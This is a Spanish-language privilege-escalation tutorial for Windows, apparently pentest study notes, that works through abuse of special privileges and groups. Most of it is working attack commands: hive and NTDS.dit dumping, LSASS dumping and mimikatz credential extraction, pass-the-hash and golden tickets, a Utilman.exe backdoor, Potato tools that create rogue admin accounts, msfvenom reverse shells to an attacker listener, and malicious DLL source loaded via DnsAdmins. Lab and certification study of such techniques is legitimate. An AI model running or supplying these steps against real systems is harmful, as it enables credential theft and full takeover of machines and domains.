Skip to content

Explotación de Privilegios y Grupos Especiales

Teoría: Privilegios en Windows

Los privilegios son derechos que tiene una cuenta para realizar tareas específicas del sistema. Se pueden verificar con:

powershell
whoami /priv
whoami /priv /fo list

Para más detalles ver: https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants


SeBackupPrivilege y SeRestorePrivilege

¿Qué permiten?

  • SeBackup: Leer cualquier archivo del sistema ignorando permisos DACL
  • SeRestore: Escribir en cualquier archivo del sistema ignorando permisos DACL

¿Quién lo tiene?

  • Grupo "Backup Operators" (por defecto)
  • Cuentas de servicio de backup

Explotación - Copiar SAM y SYSTEM Hives

Paso 1: Verificar que tienes los privilegios

powershell
whoami /priv | findstr SeBackup
whoami /priv | findstr SeRestore

Si aparecen pero están "Disabled", necesitas habilitarlos:

powershell
Import-Module .\Enable-Privilege.ps1
Enable-Privilege -PrivilegeName SeBackupPrivilege
Enable-Privilege -PrivilegeName SeRestorePrivilege

Paso 2: Respaldar las colmenas del registro

powershell
# Respaldar SAM (contiene hashes de contraseñas locales)
reg save hklm\sam C:\Users\backup\sam.hive

# Respaldar SYSTEM (contiene clave de encriptación para SAM)
reg save hklm\system C:\Users\backup\system.hive

# Respaldar SECURITY (contiene LSA secrets - contraseñas de servicios)
reg save hklm\security C:\Users\backup\security.hive

Paso 3: Transferir a Kali y extraer hashes

bash
# En Kali
scp usuario@objetivo:C:\Users\backup\sam.hive .
scp usuario@objetivo:C:\Users\backup\system.hive .

python3 -m impacket.secretsdump -sam sam.hive -system system.hive LOCAL

# Resultado: hashes NTLM
Administrator:500:aad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::
Guest:501:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Paso 4: Pass-the-Hash para acceso remoto

bash
# Con Mimikatz (desde Windows)
./mimikatz.exe
mimikatz # sekurlsa::pth /user:Administrator /domain:. /ntlm:5f4dcc3b5aa765d61d8327deb882cf99

# Con impacket psexec (desde Kali)
python3 psexec.py -hashes aad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99 Administrator@192.168.1.100

Explotación - Copiar NTDS.dit en Domain Controllers

En Domain Controllers, NTDS.dit contiene TODOS los hashes de la organización.

powershell
# Usar diskshadow para crear snapshot
diskshadow.exe

DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
DISKSHADOW> exit

# Ver snapshot montado
dir E:

# Copiar NTDS.dit usando SeBackupPrivilege
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

# También necesitas SYSTEM hive
reg save hklm\system C:\Tools\SYSTEM

Extraer en Kali:

bash
python3 -m impacket.secretsdump -ntds ntds.dit -system SYSTEM LOCAL

SeRestorePrivilege - Escribir en Archivos Protegidos

Explotación: Reemplazar Binario del Sistema

powershell
# 1. Tomar posesión del archivo
takeown /f C:\Windows\System32\Utilman.exe

# 2. Dar permisos completos
icacls C:\Windows\System32\Utilman.exe /grant $env:USERNAME:F

# 3. Respaldar original
move C:\Windows\System32\Utilman.exe C:\Windows\System32\Utilman.exe.bak

# 4. Copiar cmd.exe como reemplazo
copy C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe

# 5. En pantalla de login: presionar Windows+U abre cmd.exe como SYSTEM

SeTakeOwnershipPrivilege

¿Qué permite? Tomar posesión de cualquier archivo o clave del registro y cambiar sus permisos.

Explotación Paso a Paso

1. Verificar que tienes el privilegio

powershell
whoami /priv | findstr SeTakeOwnership

# Si está "Disabled", habilitar:
Import-Module .\Enable-Privilege.ps1
Enable-Privilege -PrivilegeName SeTakeOwnershipPrivilege

2. Identificar archivo objetivo

Por ejemplo, un archivo protegido con información confidencial:

powershell
icacls C:\Department Shares\Private\IT\cred.txt

# Resultado: SYSTEM:(I)(F) ADMIN:(I)(F)
# Tu usuario no tiene acceso

3. Tomar posesión

powershell
takeown /f 'C:\Department Shares\Private\IT\cred.txt'

# Resultado: SUCCESS: The file now owned by user

4. Dar permisos completos

powershell
icacls 'C:\Department Shares\Private\IT\cred.txt' /grant $env:USERNAME:F

5. Leer el archivo

powershell
cat 'C:\Department Shares\Private\IT\cred.txt'
# Contenido: admin:MyPassword123!

SeImpersonatePrivilege y SeAssignPrimaryTokenPrivilege

¿Qué permiten? Ejecutar código en el contexto de otro usuario con privilegios más altos. Frecuentemente lleva a SYSTEM.

¿Quién lo tiene?

  • LocalService, NetworkService
  • IIS AppPool (iis apppool\DefaultAppPool)
  • Cuentas de servicios web
  • SQL Server

Explotación con JuicyPotato

JuicyPotato es una herramienta que explota SeImpersonate/SeAssignPrimaryToken para escalar a SYSTEM.

Paso 1: Verificar privilegios

powershell
whoami /priv | findstr /i "SeImpersonate\|SeAssignPrimaryToken"

# Resultado debe mostrar "Enabled"

Paso 2: Descargar JuicyPotato

powershell
iwr -uri http://192.168.1.100/JuicyPotato.exe -OutFile JuicyPotato.exe

Paso 3: Crear payload (reverse shell)

bash
# En Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4445 -f exe -o shell.exe

Paso 4: Crear listener

bash
# En Kali
nc -lvp 4445

Paso 5: Ejecutar JuicyPotato

powershell
# Crear usuario admin como payload
.\JuicyPotato.exe -l 9999 -p C:\Windows\System32\cmd.exe -a "/c net user newadmin Password123! /add"

# O reverse shell
.\JuicyPotato.exe -l 9999 -p C:\shell.exe -t *

# Parámetros:
# -l: Puerto local
# -p: Programa a ejecutar
# -a: Argumentos
# -t: Token (usar * para ambos)

Paso 6: Verificar éxito

powershell
net user newadmin
net localgroup Administrators newadmin

# O recibir shell como SYSTEM

Explotación con SigmaPotato

SigmaPotato es una alternativa más moderna y confiable a JuicyPotato. Funciona de manera similar pero con mejor compatibilidad.

Paso 1: Descargar SigmaPotato

powershell
iwr -uri http://192.168.1.100/SigmaPotato.exe -OutFile SigmaPotato.exe

Paso 2: Verificar SeImpersonatePrivilege

powershell
whoami /priv | findstr SeImpersonate

# Debe mostrar "Enabled"

Paso 3: Crear usuario admin como SYSTEM

powershell
# Crear usuario
.\SigmaPotato "net user newadmin Password123! /add"

# Agregar a Administrators
.\SigmaPotato "net localgroup Administrators newadmin /add"

# Verificar
net user newadmin
net localgroup Administrators

Paso 4: O crear reverse shell

powershell
# Con conexión inversa
.\SigmaPotato "C:\shell.exe"

# Parámetro: especificar comando entre comillas

Ventajas de SigmaPotato sobre JuicyPotato:

  • No requiere especificar CLSID (más automático)
  • Mejor compatibilidad con Windows moderno
  • Salida de stderr y stdout clara
  • Manejo de procesos más robusto

Paso 1: Descargar PrintSpoofer

powershell
iwr -uri http://192.168.1.100/PrintSpoofer.exe -OutFile PrintSpoofer.exe

Paso 2: Ejecutar

powershell
# Crear usuario como SYSTEM
.\PrintSpoofer.exe -c "net user newadmin Password123! /add"
.\PrintSpoofer.exe -c "net localgroup administrators newadmin /add"

# O reverse shell
.\PrintSpoofer.exe -c "C:\shell.exe"

Explotación con RogueWinRM

RogueWinRM funciona porque cuando cualquier usuario inicia el servicio BITS, crea una conexión a puerto 5985 (WinRM) como SYSTEM. Podemos interceptar esa conexión.

Paso 1: Descargar RogueWinRM

powershell
iwr -uri http://192.168.1.100/RogueWinRM.exe -OutFile RogueWinRM.exe

Paso 2: Crear payload

bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4446 -f exe -o shell.exe

Paso 3: Listener en Kali

bash
nc -lvp 4446

Paso 4: Ejecutar

powershell
.\RogueWinRM.exe -p "C:\shell.exe" -a ""

# Esperar 2 minutos (el servicio BITS se inicia automáticamente)

Paso 5: Recibir shell como SYSTEM

Listening on 0.0.0.0 4446
Connection received from 192.168.1.100 49755
whoami
nt authority\system

Explotación con psgetsystem

Si tienes acceso PowerShell sin opciones de herramientas, puedes usar psgetsystem para suplantar SYSTEM.

powershell
# Descargar
iwr -uri http://192.168.1.100/psgetsys.ps1 -OutFile psgetsys.ps1

# Importar
. .\psgetsys.ps1

# Identificar proceso SYSTEM
tasklist | findstr System

# Suplantar (ej: PID 612 = System)
ImpersonateFromParentPid -ppid 612 -command "C:\Windows\System32\cmd.exe" -cmdargs ""

SeDebugPrivilege

¿Qué permite? Acceder a la memoria de cualquier proceso. Permite volcar lsass.exe que contiene todas las contraseñas en texto plano.

¿Quién lo tiene? Típicamente: Administradores solamente

Explotación Paso a Paso

Paso 1: Verificar privilegio

powershell
whoami /priv | findstr SeDebug

Paso 2: Descargar ProcDump (Sysinternals)

powershell
iwr -uri http://192.168.1.100/procdump.exe -OutFile procdump.exe

Paso 3: Volcar LSASS (Local Security Authority Subsystem Service)

LSASS almacena todas las contraseñas de usuarios logueados en memoria.

powershell
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# -ma = Full dump de memoria
# Resultado: lsass.dmp (~40-50 MB)

Paso 4: Transferir a Kali

bash
scp usuario@objetivo:lsass.dmp .

Paso 5: Extraer credenciales con Mimikatz

bash
# En Kali o Windows
mimikatz.exe

mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

# Resultado: TODAS las contraseñas en texto plano
[00000003] Primary
  * Username : usuario
  * Domain   : WORKGROUP
  * NTLM     : cf3a5525ee9414229e66279623ed5c58
  * SHA1     : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2

Mimikatz - Post-Explotación Completa

Una vez que tienes acceso como admin/SYSTEM, Mimikatz extrae todas las credenciales.

Descarga:

bash
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220519/mimikatz_trunk.zip
unzip mimikatz_trunk.zip
cd mimikatz/x64

Comandos principales:

powershell
.\mimikatz.exe

# Obtener privilegios de debug
privilege::debug

# Extraer TODAS las credenciales en memoria
sekurlsa::logonpasswords

# Volcado de SAM (local users)
token::elevate
lsadump::sam

# Kerberos tickets (para movimiento lateral)
sekurlsa::tickets

# Pass-the-Hash (autenticarse con hash sin saber contraseña)
sekurlsa::pth /user:Administrator /domain:. /ntlm:5f4dcc3b5aa765d61d8327deb882cf99 /run:cmd.exe

# Golden Ticket (falsificar ticket de admin en dominio - requiere krbtgt hash)
kerberos::golden /user:Administrator /domain:dominio.local /sid:S-1-5-21-... /krbtgt:krbtgt_hash /ptt

# Pass-the-Ticket
kerberos::ptt <ticket_file>

# Extraer credenciales guardadas
vault::cred /patch

SeLoadDriverPrivilege

¿Qué permite? Cargar drivers arbitrarios en el kernel. Acceso total al sistema pero muy técnico.

Nota: Raro encontrarlo, pero extremadamente peligroso si lo tienes.


Grupo: Administrators

Permisos: Acceso total al sistema.

powershell
whoami /groups | findstr Administrators

# Si estás en este grupo, simplemente:
powershell -ep bypass
# Ya tienes acceso total

Grupo: Backup Operators

Permisos: SeBackupPrivilege, SeRestorePrivilege automáticamente.

Ver sección SeBackupPrivilege arriba.


Grupo: Remote Desktop Users

Permisos: Acceso RDP a la máquina.

powershell
whoami /groups | findstr "Remote Desktop"

# Desde otra máquina (Kali o Windows):
mstsc /v:192.168.1.100 /u:usuario

# Una vez en RDP tienes interfaz gráfica
# Esto es MÁS PODEROSO que shell remoto

Grupo: Remote Management Users

Permisos: Acceso WinRM remoto (PowerShell remoto).

powershell
whoami /groups | findstr "Remote Management"

# Desde Kali (evil-winrm)
./evil-winrm -i 192.168.1.100 -u usuario -p password

# O desde PowerShell
$cred = New-Object System.Management.Automation.PSCredential("usuario", (ConvertTo-SecureString "password" -AsPlainText -Force))
$session = New-PSSession -ComputerName 192.168.1.100 -Credential $cred
Enter-PSSession $session

Grupo: Event Log Readers

Permisos: Leer todos los logs del sistema (potencialmente con credenciales).

powershell
whoami /groups | findstr "Event Log"

# Buscar credenciales en logs
Get-WinEvent -LogName Security -MaxEvents 1000 | 
    Where-Object {$_.Message -like "*password*" -or $_.Message -like "*credential*"} | 
    Select-Object TimeCreated, Message

# Eventos de logon (ver qué admins han iniciado sesión)
Get-WinEvent -FilterHashtable @{LogName="Security"; ID=4688} -MaxEvents 100 | 
    Select-Object TimeCreated, @{name='NewProcessName';expression={$_.Properties[5].Value}}

Grupo: DnsAdmins

Permisos: Control total sobre servicio DNS (que corre como SYSTEM).

Explotación: Cargar DLL Maliciosa como Plugin DNS

Paso 1: Crear DLL maliciosa

c
#include <windows.h>
#include <stdio.h>

BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if(ul_reason_for_call == DLL_PROCESS_ATTACH) {
        system("net user newadmin Password123! /add");
        system("net localgroup administrators newadmin /add");
    }
    return TRUE;
}

Paso 2: Compilar en Kali

bash
x86_64-w64-mingw32-gcc malicious.c --shared -o malicious.dll

Paso 3: Colocar en objetivo

powershell
iwr -uri http://192.168.1.100/malicious.dll -OutFile C:\temp\malicious.dll

Paso 4: Configurar como plugin DNS

powershell
whoami /groups | findstr DnsAdmins

# Si estás en el grupo:
dnscmd.exe /config /serverlevelplugindll C:\temp\malicious.dll

Paso 5: Reiniciar servicio DNS

powershell
net stop dns
net start dns

# La DLL se carga como SYSTEM

Paso 6: Verificar

powershell
net user newadmin
net localgroup Administrators

Grupo: Hyper-V Administrators

Permisos: Control total sobre máquinas virtuales.

powershell
whoami /groups | findstr "Hyper-V"

Get-VM

# Conectar a consola de VM y ejecutar comandos como admin en ese sistema

Grupo: Print Operators

Permisos: Control sobre print spooler (que corre como SYSTEM).

Explotación: Cargar Driver Malicioso

El print spooler permite cargar drivers arbitrarios.

powershell
whoami /groups | findstr Print

Get-Service spooler | Select-Object StartType, Status

# Cargar driver malicioso (requiere PoC específico)
# Alternativa: usar Capcom.sys exploit
.\capcom.exe
# Carga driver que permite código en kernel

Grupo: Server Operators

Permisos: Control sobre servicios del servidor.

powershell
whoami /groups | findstr Server

# Ver servicios modificables
Get-Service | Where-Object {$_.StartType -eq "Automatic"}

# Verificar permisos del binario del servicio
icacls "C:\ruta\al\binario.exe"

# Si tienes Write: reemplazar (igual a Service Binary Hijacking)

Activar Privilegios Desactivados

Muchos privilegios aparecen como "Disabled" pero pueden activarse:

powershell
whoami /priv /fo list

# Importar módulo para activarlos
Import-Module .\Enable-Privilege.ps1

# Activar privilegio
Enable-Privilege -PrivilegeName SeBackupPrivilege

# Verificar
whoami /priv | findstr SeBackup
# Debe mostrar "Enabled"